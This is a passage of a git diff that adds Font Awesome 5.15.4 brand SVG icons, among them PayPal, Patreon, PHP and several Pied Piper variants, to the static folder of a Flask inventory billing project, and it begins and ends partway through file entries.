72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/patreon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/patreon.svg new file mode 100644 index 00000000..391b4407 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/patreon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/paypal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/paypal.svg new file mode 100644 index 00000000..416e7af3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/paypal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/penny-arcade.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/penny-arcade.svg new file mode 100644 index 00000000..f9d45296 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/penny-arcade.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/perbyte.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/perbyte.svg new file mode 100644 index 00000000..0cc380a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/perbyte.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/periscope.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/periscope.svg new file mode 100644 index 00000000..e3b6555f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/periscope.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phabricator.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phabricator.svg new file mode 100644 index 00000000..d201ed72 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phabricator.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phoenix-framework.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phoenix-framework.svg new file mode 100644 index 00000000..39405a3d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phoenix-framework.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phoenix-squadron.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phoenix-squadron.svg new file mode 100644 index 00000000..617eef9a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/phoenix-squadron.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/php.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/php.svg new file mode 100644 index 00000000..db4388d6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/php.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-alt.svg new file mode 100644 index 00000000..ab1421f5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-hat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-hat.svg new file mode 100644 index 00000000..2f3f9e00 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-hat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-pp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-pp.svg new file mode 100644 index 00000000..cfae35e2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-pp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-square.svg new file mode 100644 index 00000000..03ec7d11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper.svg new file mode 100644 index 00000000..5c1aa9cf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pied-piper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z" class="cls-1"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest-p.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest-p.svg new file mode 100644 index 00000000..5b950d48 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using 